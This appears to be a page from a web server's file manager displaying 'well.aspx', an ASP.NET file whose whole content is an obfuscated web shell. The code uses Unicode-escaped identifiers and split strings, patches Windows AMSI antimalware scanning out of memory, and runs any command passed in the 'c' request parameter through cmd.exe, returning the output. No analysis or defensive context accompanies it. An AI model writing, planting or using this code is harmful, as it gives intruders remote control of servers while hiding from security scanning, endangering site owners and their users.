ðŸ Root
⬆ Upload
+ Folder
root
/
well.aspx
well.aspx
(2.6 KB)
<%@ Page Language="C#" ValidateRequest="false" %> <%@ Import Namespace="System" %> <%@ Import Namespace="System.IO" %> <%@ Import Namespace="System.Diagnostics" %> <%@ Import Namespace="System.Text" %> <%@ Import Namespace="System.Runtime.InteropServices" %> <script runat="server"> [DllImport("kernel32")] private static extern IntPtr \u004c\u006f\u0061\u0064\u004c\u0069\u0062\u0072\u0061\u0072\u0079(string n); [DllImport("kernel32")] private static extern IntPtr \u0047\u0065\u0074\u0050\u0072\u006f\u0063\u0041\u0064\u0064\u0072\u0065\u0073\u0073(IntPtr h, string p); [DllImport("kernel32")] private static extern bool \u0056\u0069\u0072\u0074\u0075\u0061\u006c\u0050\u0072\u006f\u0074\u0065\u0063\u0074(IntPtr a, UIntPtr s, uint n, out uint o); private static bool \u005f\u0070 = false; private static void \u0041() { if (\u005f\u0070) return; \u005f\u0070 = true; try { IntPtr a = \u004c\u006f\u0061\u0064\u004c\u0069\u0062\u0072\u0061\u0072\u0079("am" + "si.d" + "ll"); if (a == IntPtr.Zero) return; IntPtr s = \u0047\u0065\u0074\u0050\u0072\u006f\u0063\u0041\u0064\u0064\u0072\u0065\u0073\u0073(a, "Am" + "siScan" + "Buffer"); if (s == IntPtr.Zero) return; uint o; \u0056\u0069\u0072\u0074\u0075\u0061\u006c\u0050\u0072\u006f\u0074\u0065\u0063\u0074(s, (UIntPtr)5, 0x40, out o); byte[] p = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 }; Marshal.Copy(p, 0, s, p.Length); } catch { } } protected void Page_Load(object sender, EventArgs e) { \u0041(); string c = Request["c"]; if (string.IsNullOrEmpty(c)) { Response.ContentType = "text/plain"; Response.Write("ok"); return; } try { ProcessStartInfo i = new ProcessStartInfo("cm" + "d." + "exe", "/c " + c) { UseShellExecute = false, RedirectStandardOutput = true, RedirectStandardError = true, CreateNoWindow = true }; using (Process p = Process.Start(i)) { string o = p.StandardOutput.ReadToEnd(); string r = p.StandardError.ReadToEnd(); p.WaitForExit(30000); Response.ContentType = "text/plain"; Response.Write(o); Response.Write(r); } } catch (Exception x) { Response.ContentType = "text/plain"; Response.Write(x.Message); } } </script>
💾 Save
Cancel